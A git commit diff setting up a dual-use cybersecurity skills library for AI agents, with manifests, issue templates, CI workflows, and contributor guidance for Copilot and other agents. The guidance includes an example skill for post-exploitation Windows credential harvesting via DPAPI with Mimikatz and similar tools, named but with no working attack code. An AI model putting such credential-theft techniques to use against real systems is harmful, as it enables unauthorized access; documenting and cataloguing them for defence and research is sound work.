reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,37 @@
{
"name": "anthropic-cybersecurity-skills",
"owner": {
"name": "mukul975",
"email": "mukuljangra5@gmail.com"
},
"metadata": {
"description": "818 cybersecurity skills for AI agents mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3).",
"version": "1.3.0"
},
"plugins": [
{
"name": "cybersecurity-skills",
"source": "./",
"description": "818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more. Mapped to 6 frameworks.",
"version": "1.3.0",
"author": {
"name": "mukul975"
},
"license": "Apache-2.0",
"keywords": [
"cybersecurity",
"pentesting",
"forensics",
"threat-intelligence",
"cloud-security",
"malware-analysis",
"incident-response",
"zero-trust",
"devsecops"
],
"category": "security",
"homepage": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills",
"repository": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills"
}
]
}

View File

@@ -0,0 +1,5 @@
{
"name": "cybersecurity-skills",
"description": "818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
"version": "1.3.0"
}

View File

@@ -0,0 +1,2 @@
github: mukul975
custom: ["https://paypal.me/mahipaljangra"]

View File

@@ -0,0 +1,50 @@
name: Bug Report
description: Report a SKILL.md validation error, broken script, or incorrect content
title: "[Bug]: "
labels: ["bug", "needs-triage"]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to report a bug!
- type: input
id: skill-name
attributes:
label: Skill Name
description: Which skill has the issue?
placeholder: e.g., analyzing-disk-image-with-autopsy
validations:
required: true
- type: dropdown
id: bug-type
attributes:
label: Bug Type
options:
- SKILL.md validation error
- Broken/incorrect script
- Wrong instructions or commands
- Missing required files
- Incorrect metadata/frontmatter
- Other
validations:
required: true
- type: textarea
id: description
attributes:
label: Description
description: What is the issue?
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected Behavior
description: What should happen instead?
validations:
required: true
- type: input
id: ai-agent
attributes:
label: AI Agent Used
description: Which AI agent were you using?
placeholder: e.g., Claude Code, GitHub Copilot, Codex CLI

View File

@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: Security Vulnerability
url: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/security/advisories/new
about: Report a security vulnerability in this repository
- name: Discussion
url: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions
about: Ask questions or discuss ideas

View File

@@ -0,0 +1,19 @@
---
name: Improve existing skill
about: Suggest improvements to an existing skill
title: '[IMPROVE] skill-name-here'
labels: 'enhancement'
assignees: ''
---
## Skill to improve
<!-- Folder name of the skill -->
## What needs improvement?
- [ ] agent.py has errors or placeholders
- [ ] api-reference.md is incomplete
- [ ] SKILL.md frontmatter is missing fields
- [ ] ATT&CK mapping is incorrect
- [ ] Other:
## Suggested improvement

View File

@@ -0,0 +1,58 @@
name: New Skill Request
description: Request a new cybersecurity skill to be added to the database
title: "[Skill Request]: "
labels: ["enhancement", "new-skill", "help wanted"]
body:
- type: markdown
attributes:
value: |
Request a new cybersecurity skill. The more detail you provide, the faster we can add it!
- type: input
id: skill-name
attributes:
label: Proposed Skill Name
description: Kebab-case gerund form (e.g., analyzing-memory-dump-with-volatility)
placeholder: performing-task-name
validations:
required: true
- type: dropdown
id: category
attributes:
label: Category
options:
- Threat Detection
- Incident Response
- Penetration Testing
- Digital Forensics
- Compliance & Governance
- Network Security
- Cloud Security
- Application Security
- Malware Analysis
- OSINT
- Zero Trust Architecture
- OT/ICS Security
- DevSecOps
- Ransomware Defense
- Threat Intelligence
- Other
validations:
required: true
- type: textarea
id: description
attributes:
label: Skill Description
description: What should this skill teach an AI agent to do?
validations:
required: true
- type: input
id: mitre-attack
attributes:
label: MITRE ATT&CK Technique(s)
description: Optional - relevant technique IDs
placeholder: e.g., T1059, T1078
- type: textarea
id: tools
attributes:
label: Key Tools
description: What tools/commands should this skill cover?

View File

@@ -0,0 +1,25 @@
---
name: Add new skill
about: Propose a new cybersecurity skill for the database
title: '[NEW SKILL] skill-name-here'
labels: 'new-skill, good first issue'
assignees: ''
---
## Skill name (kebab-case)
<!-- e.g., detecting-lateral-movement-in-azure -->
## Domain / Subdomain
<!-- e.g., cybersecurity / threat-hunting -->
## Description
<!-- One sentence describing what this skill does -->
## MITRE ATT&CK techniques
<!-- e.g., T1021.001, T1078.004 -->
## NIST CSF function
<!-- Identify, Protect, Detect, Respond, or Recover -->
## Why is this skill needed?
<!-- What problem does it solve for security practitioners? -->

View File

@@ -0,0 +1,41 @@
name: Skill Improvement
description: Suggest improvements to an existing skill
title: "[Improvement]: "
labels: ["enhancement", "skill-improvement"]
body:
- type: input
id: skill-name
attributes:
label: Skill Name
placeholder: e.g., analyzing-network-traffic-with-wireshark
validations:
required: true
- type: dropdown
id: improvement-type
attributes:
label: Type of Improvement
options:
- More accurate/updated instructions
- Better workflow steps
- Add missing tools or commands
- Improve description for agent discovery
- Add MITRE ATT&CK mapping
- Add NIST CSF alignment
- Improve scripts/assets
- Fix outdated content
validations:
required: true
- type: textarea
id: current-issue
attributes:
label: Current Issue
description: What is wrong or missing?
validations:
required: true
- type: textarea
id: suggested-improvement
attributes:
label: Suggested Improvement
description: What should be changed or added?
validations:
required: true

View File

@@ -0,0 +1,546 @@
# Copilot Instructions for Anthropic-Cybersecurity-Skills
**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.
## Quick Facts
- **Type**: Open-source cybersecurity skills library + framework mapping hub
- **Skills**: 817 across 29 security domains
- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)
- **Format**: agentskills.io standard (YAML frontmatter + Markdown)
- **License**: Apache 2.0 (ethical use required)
- **Community**: Independent, community-created (not affiliated with Anthropic)
## Repository Structure
```
Anthropic-Cybersecurity-Skills/
├── skills/ # 817 skill directories (kebab-case)
│ ├── abusing-dpapi-for-credential-access/
│ │ ├── SKILL.md # Frontmatter + detailed instructions
│ │ ├── LICENSE
│ │ ├── scripts/
│ │ │ └── process.py # Optional helper scripts
│ │ └── references/
│ │ ├── api-reference.md
│ │ ├── standards.md
│ │ └── workflows.md
│ └── ... (816 more)
├── mappings/ # Framework coverage & alignment
│ ├── mitre-attack/
│ │ ├── attack-navigator-layer.json
│ │ └── coverage-summary.md
│ ├── nist-csf/
│ ├── owasp/
│ └── README.md
├── docs/ # Additional documentation
├── index.json # Central skill registry (auto-generated)
├── CONTRIBUTING.md # Contribution guide
├── SECURITY.md # Ethical use & dual-use policies
└── CODE_OF_CONDUCT.md # Community guidelines
```
## Build & Development
### Prerequisites
- **Git** (for cloning and version control)
- **Python 3.8+** (optional, for scripts/metadata generation)
- **jq** (optional, for JSON processing; useful for index.json queries)
### Local Setup
```bash
# Clone the repository
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
cd Anthropic-Cybersecurity-Skills
# No installation needed—skills are static Markdown files
# View a skill directly:
cat skills/abusing-dpapi-for-credential-access/SKILL.md
# Search for skills by keyword:
grep -r "credential-access" skills/*/SKILL.md | head -10
# Query the central index:
jq '.skills[] | select(.description | contains("Active Directory"))' index.json
```
### Generating/Updating index.json
When adding new skills, the index must be regenerated:
```bash
# If a script exists (check repository):
python3 generate_index.py
# Otherwise, manually verify:
jq '.skills | length' index.json # Should match skill directory count
```
## Architecture & Concepts
### Skill Structure
Each skill is a **self-contained directory** following the `agentskills.io` standard:
```
skills/skill-name/
├── SKILL.md # The authoritative skill definition
├── LICENSE # Apache 2.0 (usually)
├── scripts/
│ └── process.py # Optional: helper scripts, agent implementations
└── references/
├── api-reference.md # Technical API docs for the skill
├── standards.md # CVE, NIST, MITRE refs
└── workflows.md # Deep technical procedures
```
### SKILL.md Format
Every skill follows this structure:
```markdown
---
name: skill-name-kebab-case
description: >-
Clear, agent-discoverable description.
Include keywords for search/filtering.
This is what agents read to decide whether to use this skill.
domain: cybersecurity
subdomain: red-teaming # e.g. digital-forensics, compliance-governance, etc.
tags:
- tool-names (mimikatz, burp-suite, etc.)
- frameworks (active-directory, cloud, kubernetes, etc.)
- techniques (credential-access, privilege-escalation, etc.)
version: "1.0"
author: github-username
license: Apache-2.0
nist_csf:
- DE.CM-01
- PR.AC-01
mitre_attack:
- T1555.004
- T1078.002
mitre_atlas:
- AML.P1.003
mitre_d3fend:
- D3-CAA
- D3-PCA
nist_ai_rmf:
- GOV-1
mitre_f3:
- FI-B-003
---
# Skill Title
> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.
> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.
## Overview
Clear, concise explanation of what the skill does and why an agent needs it.
Include threat model context if applicable.
## When to Use
- Specific scenario 1
- Specific scenario 2
- Real-world contexts where this skill applies
## Prerequisites
- Required tools (with install commands if applicable)
- Required access/permissions
- Required knowledge/certifications
- System requirements
## Workflow
### Step 1: [Action]
Clear instructions with real commands.
```bash
tool-name --flag value
```
### Step 2: [Next Action]
Continue with detailed steps.
### Output Format
What success looks like:
```
Expected output or indicator
```
## Key Concepts
| Term | Definition |
|------|-----------|
| Concept1 | Explanation |
| Concept2 | Explanation |
## Tools & Systems
- **Tool A** — What it does, where to get it
- **Tool B** — What it does, where to get it
## Common Scenarios
### Scenario 1
When X, do Y.
### Scenario 2
When A, do B.
## References
- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)
- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)
```
### Framework Mappings
Each skill can map to multiple frameworks. Key mappings:
| Framework | Scope | Example |
|-----------|-------|---------|
| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |
| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |
| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |
| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |
| **NIST AI RMF** | AI risk management | GOV (Governance) |
| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |
### Subdomains (Choose One)
- **web-application-security** — OWASP, API, web app testing
- **network-security** — Network tools, protocols, monitoring
- **penetration-testing** — General penetration testing methodology
- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)
- **digital-forensics** — Incident response, forensic analysis, disk imaging
- **malware-analysis** — Static/dynamic malware analysis, reverse engineering
- **threat-intelligence** — Gathering, analyzing, sharing threat data
- **cloud-security** — AWS/Azure/GCP-specific security
- **container-security** — Docker, Kubernetes, container runtime
- **identity-access-management** — Active Directory, IAM, authentication
- **cryptography** — Encryption, hashing, key management
- **vulnerability-management** — Scanning, assessment, remediation
- **compliance-governance** — CMMC, HIPAA, SOC2, auditing
- **zero-trust-architecture** — Zero-trust implementation patterns
- **ot-ics-security** — Operational technology, ICS/SCADA
- **devsecops** — Secure software development, CI/CD security
## Conventions & Patterns
### Naming
- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)
- **Skill name**: Same as directory (in YAML frontmatter)
- **GitHub usernames**: Use lowercase GitHub username as author
### Description Quality
Descriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:
```yaml
# ✗ Vague
description: How to abuse DPAPI
# ✓ Clear and searchable
description: >-
Extract DPAPI-protected secrets such as credentials and browser data
offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal
for post-exploitation Windows credential harvesting and offline analysis.
```
### Tags Strategy
Use 3-5 tags for discoverability:
```yaml
tags:
- tool-names # mimikatz, sharpdpapi, burp-suite
- attack-frameworks # active-directory, kerberos, oauth
- techniques # credential-access, privilege-escalation, lateral-movement
- platforms # windows, linux, macos, cloud
- use-cases # post-exploitation, threat-intel, forensics
```
### Framework ID Format
IDs are **case-sensitive** and **exact**:
```yaml
mitre_attack:
- T1055 # Parent technique
- T1055.001 # Sub-technique
nist_csf:
- DE.CM-01 # NIST Cybersecurity Framework 2.0
mitre_atlas:
- AML.P1.003 # MITRE ATLAS for AI/ML
mitre_d3fend:
- D3-CAA # MITRE D3FEND defensive technique ID
nist_ai_rmf:
- GOV-1 # NIST AI Risk Management Framework
mitre_f3:
- FI-B-003 # MITRE Fight Fraud Framework
```
## Common Tasks
### Adding a New Skill
1. **Create skill directory** (kebab-case):
```bash
mkdir -p skills/your-skill-name
```
2. **Create SKILL.md** with required frontmatter:
```bash
cat > skills/your-skill-name/SKILL.md << 'EOF'
---
name: your-skill-name
description: >-
Clear, discoverable description with keywords.
domain: cybersecurity
subdomain: red-teaming
tags:
- tool-name
- technique
- use-case
version: "1.0"
author: your-github-username
license: Apache-2.0
mitre_attack:
- T1234.567
nist_csf:
- DE.CM-01
mitre_atlas:
- AML.P1.003
mitre_d3fend:
- D3-CAA
nist_ai_rmf:
- GOV-1
mitre_f3:
- FI-B-003
---
# Skill Title
> **Legal Notice:** Authorized use only. [...]
## Overview
Clear explanation...
EOF
```
3. **Write detailed sections** in Markdown:
- When to Use (specific scenarios)
- Prerequisites (tools, permissions, access)
- Workflow (numbered steps with real commands)
- Key Concepts (table for terminology)
- Tools & Systems
- Common Scenarios
- References (framework links)
4. **Add optional supporting files**:
```
scripts/process.py # Helper script or agent implementation
references/standards.md # CVE, NIST, MITRE links
references/workflows.md # Deep technical procedures
```
5. **Add LICENSE**:
```bash
cp LICENSE skills/your-skill-name/LICENSE
# Or use a specific open-source license file
```
6. **Regenerate index** (if automation exists):
```bash
python3 generate_index.py # Updates index.json
```
7. **Submit PR**:
```bash
git add skills/your-skill-name
git commit -m "Add skill: your-skill-name"
git push origin feature/add-skill-name
# Create PR with title: "Add skill: your-skill-name"
```
### Updating Framework Mappings
If a skill maps to new frameworks or techniques change:
1. **Update SKILL.md frontmatter**:
```yaml
mitre_attack:
- T1555.004 # Add new technique IDs
nist_csf:
- DE.CM-01 # Add new control IDs
```
2. **Regenerate index** (if automation exists):
```bash
python3 generate_index.py
```
3. **Verify mapping coverage**:
```bash
# Check if all referenced IDs are valid:
grep -r "T1[0-9]" skills/*/SKILL.md | grep -v "http"
```
### Searching Skills
**By keyword**:
```bash
grep -r "active-directory" skills/*/SKILL.md
```
**By framework**:
```bash
grep -r "T1055" skills/*/SKILL.md # MITRE ATT&CK technique
```
**By subdomain**:
```bash
grep "subdomain: red-teaming" skills/*/SKILL.md
```
**Using jq (if index.json exists)**:
```bash
# Find skills by keyword
jq '.skills[] | select(.tags[] | contains("credential-access"))' index.json
# Count skills by subdomain
jq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json
```
## Platform & Framework Notes
### Windows-Specific Skills
- Often leverage PowerShell, Windows APIs, Active Directory
- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)
- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)
### Linux/macOS Skills
- Use standard Unix tools (bash, Python, curl, etc.)
- Note platform availability differences
- Cloud/container skills often multi-platform
### Cloud Security Skills
- Specify cloud provider (AWS, Azure, GCP, multi-cloud)
- Reference cloud-specific tools (awscli, az, gcloud)
- Map to cloud-specific MITRE ATLAS techniques
### AI/ML Attack Skills
- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)
- Include model/system type (LLM, transformer, computer vision, etc.)
- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)
## Gotchas & Known Issues
### Legal & Ethical
- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice
- Must include "authorized use only" disclaimer
- Reference SECURITY.md for policy
- **No credentials**: Never embed API keys, tokens, or credentials
- **Attribution**: Cite original tool authors and researchers
### Framework Maintenance
- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest
- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)
- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org
### Subdomain Assignment
- **Common mistake**: Using wrong subdomain (e.g., "red-teaming" for defensive skill)
- red-teaming = offensive/attacker perspective
- compliance-governance = defensive/compliance perspective
- Choose the **primary** subdomain if skill spans multiple
### index.json Generation
- If index doesn't auto-regenerate, manually verify:
```bash
# Count skills in index vs directories
jq '.skills | length' index.json
ls -d skills/*/ | wc -l
# Should match (or index may be stale)
```
## Testing & Quality
### Skill Quality Checklist
Before submitting a PR:
- [ ] **Name**: Kebab-case, 1-64 chars, descriptive
- [ ] **Description**: Clear, includes keywords, discoverable by agents
- [ ] **Instructions**: Actionable with real commands and tool names
- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)
- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)
- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs
- [ ] **Legal notice**: Included if skill is offensive/dual-use
- [ ] **References**: Links to official framework docs
- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted
### Manual Verification
```bash
# Validate skill frontmatter and conventions (repo validator):
python3 tools/validate-skill.py skills/my-skill/
# Or validate all skills:
python3 tools/validate-skill.py --all
# Check for framework ID patterns:
grep -E "^ - (T1[0-9]{3,4}(\.[0-9]{3})?|DE\.[A-Z]{2}-[0-9]{2}|AML\.)" skills/*/SKILL.md
# Verify all referenced skills have directories:
jq -r '.skills[].name' index.json | while read skill; do
[ -d "skills/$skill" ] || echo "Missing: $skill"
done
```
## Contributing Notes
- **No build required** — Skills are static files; git pull = ready to use
- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow
- **Tool versions**: Mention tool versions in prerequisites (e.g., "Burp Suite 2024.1+")
- **Testing**: Test commands on actual systems before submitting
- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy
## Resources & Links
- **agentskills.io Standard**: https://agentskills.io (format specification)
- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)
- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)
- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)
- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)
- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)
- **Contributing Guide**: `CONTRIBUTING.md` in repo
- **Security Policy**: `SECURITY.md` — dual-use & ethical use
- **Code of Conduct**: `CODE_OF_CONDUCT.md`
- **Community Playground**: https://casky.ai (test skills in browser)
## Quick Reference
| Task | Command |
|------|---------|
| Add skill | `mkdir skills/name && cat > SKILL.md` |
| Search by technique | `grep -r "T1055" skills/` |
| Search by subdomain | `grep "subdomain: red-teaming" skills/*/SKILL.md` |
| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` |
| Regenerate index | `python3 generate_index.py` (if exists) |
| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |

View File

@@ -0,0 +1,43 @@
name: Sync Marketplace Version on Release
on:
release:
types: [published]
jobs:
sync-version:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
with:
token: ${{ secrets.GITHUB_TOKEN }}
ref: main
fetch-depth: 0
- name: Extract version from tag
id: version
run: |
VERSION=${GITHUB_REF_NAME#v}
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "tag=$GITHUB_REF_NAME" >> $GITHUB_OUTPUT
- name: Update marketplace.json and plugin.json version
env:
VERSION: ${{ steps.version.outputs.version }}
run: |
jq --arg v "$VERSION" '.metadata.version = $v | .plugins[].version = $v' .claude-plugin/marketplace.json > tmp.json
mv tmp.json .claude-plugin/marketplace.json
jq --arg v "$VERSION" '.version = $v' .claude-plugin/plugin.json > tmp.json
mv tmp.json .claude-plugin/plugin.json
echo "Updated marketplace.json and plugin.json to version $VERSION"
- name: Commit and push
run: |
git config user.name "mukul975"
git config user.email "mukuljangra5@gmail.com"
git add .claude-plugin/marketplace.json .claude-plugin/plugin.json
git diff --staged --quiet || git commit -m "chore: bump plugin version to ${{ steps.version.outputs.tag }}"
git push origin HEAD:main

View File

@@ -0,0 +1,44 @@
name: Update contributors
on:
push:
branches: [main]
schedule:
# GitHub's contributors API is cached and lags a merge by up to ~24h, so a
# weekly pass catches anyone the push-triggered run was too early to see.
- cron: '17 4 * * 1'
workflow_dispatch:
# Only one run at a time; a burst of merges must not race on README.md.
concurrency:
group: update-contributors
cancel-in-progress: false
jobs:
update:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
with:
token: ${{ secrets.GITHUB_TOKEN }}
- name: Regenerate the contributor wall
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: python3 tools/update-contributors.py
- name: Commit if it changed
run: |
git config user.name "mukul975"
git config user.email "mukuljangra5@gmail.com"
git add README.md
if git diff --staged --quiet; then
echo "No new contributors."
exit 0
fi
git commit -m "chore: update contributor wall"
# Another workflow (update-index) may have pushed while this ran.
git pull --rebase --autostash origin main
git push

View File

@@ -0,0 +1,79 @@
name: Update marketplace index
on:
push:
branches: [main]
paths:
- 'skills/**'
- '.github/workflows/update-index.yml'
workflow_dispatch:
jobs:
update-index:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
with:
token: ${{ secrets.GITHUB_TOKEN }}
- name: Install dependencies
run: pip install pyyaml
# Generation lives in tools/generate-index.py so it is testable outside CI
# and shares one PyYAML-backed frontmatter parser with the validators.
# The previous inline regex parser silently truncated 604/817 descriptions
# to their first line for every YAML scalar style except '>'/'|'.
- name: Regenerate index.json
run: python3 tools/generate-index.py
- name: Sync skill count into README and marketplace
run: |
python3 << 'EOF'
import os, re, json
# Authoritative count: directories under skills/ that contain a SKILL.md
# and are not .bak backups (matches index.json generation above).
count = 0
for name in os.listdir("skills"):
if name.endswith(".bak"):
continue
if os.path.isfile(os.path.join("skills", name, "SKILL.md")):
count += 1
print(f"Authoritative skill count: {count}")
# README.md — replace the skills badge and every "<NNN> ... skills" phrase.
with open("README.md", encoding="utf-8") as f:
readme = f.read()
readme = re.sub(r"(badge/skills-)\d+", rf"\g<1>{count}", readme)
# "817 production-grade", "817 structured", "817 skills", "all 817 skills",
# "Scans 817 skill", "contains **817 skills**", BibTeX "{817 structured"
readme = re.sub(r"\b\d+(?=\s+production-grade cybersecurity skills)", str(count), readme)
readme = re.sub(r"\b\d+(?=\s+structured cybersecurity skills)", str(count), readme)
readme = re.sub(r"(all\s+)\d+(?=\s+skills)", rf"\g<1>{count}", readme)
readme = re.sub(r"(Scans\s+)\d+(?=\s+skill\b)", rf"\g<1>{count}", readme)
readme = re.sub(r"(contains\s+\*\*)\d+(?=\s+skills\*\*)", rf"\g<1>{count}", readme)
readme = re.sub(r"(\{)\d+(?=\s+structured cybersecurity skills)", rf"\g<1>{count}", readme)
with open("README.md", "w", encoding="utf-8") as f:
f.write(readme)
# marketplace.json + plugin.json — patch "<NNN> cybersecurity skills" in descriptions.
for path in (".claude-plugin/marketplace.json", ".claude-plugin/plugin.json"):
with open(path, encoding="utf-8") as f:
data = f.read()
data = re.sub(r"\b\d+(?=\s+cybersecurity skills)", str(count), data)
json.loads(data) # fail loudly if the regex broke JSON
with open(path, "w", encoding="utf-8") as f:
f.write(data)
print("Synced skill count into README.md, marketplace.json, plugin.json")
EOF
- name: Commit updated index and skill count
run: |
git config user.name "mukul975"
git config user.email "mukuljangra5@gmail.com"
git add index.json README.md .claude-plugin/marketplace.json .claude-plugin/plugin.json
git diff --staged --quiet || git commit -m "chore: auto-update index.json and skill count"
git push

View File

@@ -0,0 +1,126 @@
name: Validate SKILL.md files
on:
push:
paths:
- 'skills/**'
- 'tools/**'
- '.github/workflows/validate-skills.yml'
pull_request:
paths:
- 'skills/**'
- 'tools/**'
- '.github/workflows/validate-skills.yml'
workflow_dispatch:
jobs:
validate:
runs-on: ubuntu-latest
name: Validate SKILL.md frontmatter
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: pip install pyyaml
# All frontmatter is parsed by tools/skill_frontmatter.py (PyYAML). Any
# reintroduced regex parser silently truncates multi-line descriptions --
# that bug shipped 604/817 broken descriptions before it was caught.
- name: Guard against hand-rolled YAML parsers
run: |
if grep -rnE '(re\.(search|match|compile)\([^)]*description|^\s*description:.*\(\.\*\))' \
tools/ --include='*.py' ; then
echo "::error::Regex-based frontmatter parsing detected. Use tools/skill_frontmatter.py."
exit 1
fi
echo "OK: no regex frontmatter parsers"
# Single source of truth: tools/validate-skill.py validates required
# frontmatter fields, kebab-case name, description length, subdomain, and
# tag count. (Previously this step duplicated a weaker inline parser.)
- name: Validate SKILL.md frontmatter
run: python3 tools/validate-skill.py --all
# agentskills.io conformance: name==directory, 1..1024 description,
# reserved-word ban, angle-bracket injection check.
- name: Validate agentskills.io conformance
run: python3 tools/validate-agentskills.py --strict
# index.json is generated; a PR that changes a description must regenerate it.
# Pull requests only: on a push to main, update-index.yml regenerates
# index.json in parallel with this job, so checking here would race and go
# red on every merge that adds a skill before self-healing seconds later.
- name: Check index.json is current
if: github.event_name == 'pull_request'
run: python3 tools/generate-index.py --check
# Description quality gate. Pre-existing failures are grandfathered in
# tools/lint-baseline.json so this blocks NEW debt only; the baseline is
# allowed to shrink and never to grow.
- name: Lint descriptions
run: python3 tools/lint-descriptions.py --all --stats
# Ratchet: the number of unreviewed near-duplicate description pairs may
# never increase. Lower this cap as disambiguation lands.
- name: Detect skill collisions
run: python3 tools/detect-collisions.py --max-unreviewed 55
- name: Check for duplicate skill names
run: |
python3 << 'EOF'
import os
import re
from collections import Counter
names = []
for root, dirs, files in os.walk('skills'):
for file in files:
if file == 'SKILL.md':
path = os.path.join(root, file)
with open(path, 'r', encoding='utf-8') as f:
content = f.read()
fm_match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL)
if fm_match:
name_match = re.search(r'^name:\s*(.+)$', fm_match.group(1), re.MULTILINE)
if name_match:
names.append(name_match.group(1).strip().strip('"'))
duplicates = [name for name, count in Counter(names).items() if count > 1]
if duplicates:
print(f"❌ Duplicate skill names found: {duplicates}")
exit(1)
print(f"✅ No duplicate names in {len(names)} skills")
EOF
- name: Report skill counts
if: always()
run: |
echo "## Skill Database Stats" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
python3 << 'EOF'
import os
import re
from collections import Counter
subdomain_counts = Counter()
total = 0
for root, dirs, files in os.walk('skills'):
for file in files:
if file == 'SKILL.md':
total += 1
path = os.path.join(root, file)
with open(path, 'r', encoding='utf-8') as f:
content = f.read()
fm_match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL)
if fm_match:
sd_match = re.search(r'^subdomain:\s*(.+)$', fm_match.group(1), re.MULTILINE)
if sd_match:
subdomain_counts[sd_match.group(1).strip()] += 1
print(f"**Total Skills: {total}**")
print("")
print("| Subdomain | Count |")
print("|-----------|-------|")
for sd, count in sorted(subdomain_counts.items(), key=lambda x: -x[1]):
print(f"| {sd} | {count} |")
EOF

View File

@@ -0,0 +1,16 @@
.claude/
teams/
node_modules/
__pycache__/
*.py[cod]
*.bin
*.pt
*.safetensors
*.gguf
*.onnx
.DS_Store
Thumbs.db
*.swp
launch/
extract_attack.py
AUDIT_REPORT.md

View File

@@ -0,0 +1,54 @@
# AGENTS.md
Instructions for AI agents working in this repository.
## What this repository is
A library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.
The layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.
## Reading a skill
Only `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.
Read the description first. If it carries a negative trigger — "Do not use for X — use `other-skill`" — honour it. Those exist because two skills would otherwise compete for the same request.
## Changing a skill
Frontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.
After changing any `SKILL.md`:
```bash
pip install pyyaml
python tools/validate-skill.py --all
python tools/validate-agentskills.py --strict
python tools/generate-index.py # regenerate index.json
python tools/lint-descriptions.py --all
python tools/detect-collisions.py
```
All five run in CI. `index.json` is generated — never edit it by hand.
## Writing a description
The description is the only signal another agent sees when deciding whether to load the skill. It needs four things:
1. What it does, concretely.
2. `Use when …` — the phrasings a user would actually type.
3. `Keywords:` — tool names, event IDs, CVEs, API calls.
4. `Do not use for X — use other-skill.` — the negative trigger.
Keep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.
## Constraints
- `name` must equal the directory name, lowercase-kebab, ≤64 characters.
- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.
- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.
- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.
## Scope
See [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.

View File

@@ -0,0 +1,509 @@
# MITRE ATT&CK Coverage Map
<p align="center">
<a href="https://attack.mitre.org/"><img src="https://img.shields.io/badge/MITRE_ATT%26CK-v16-red?style=for-the-badge&logo=shield&logoColor=white" alt="MITRE ATT&CK" /></a>
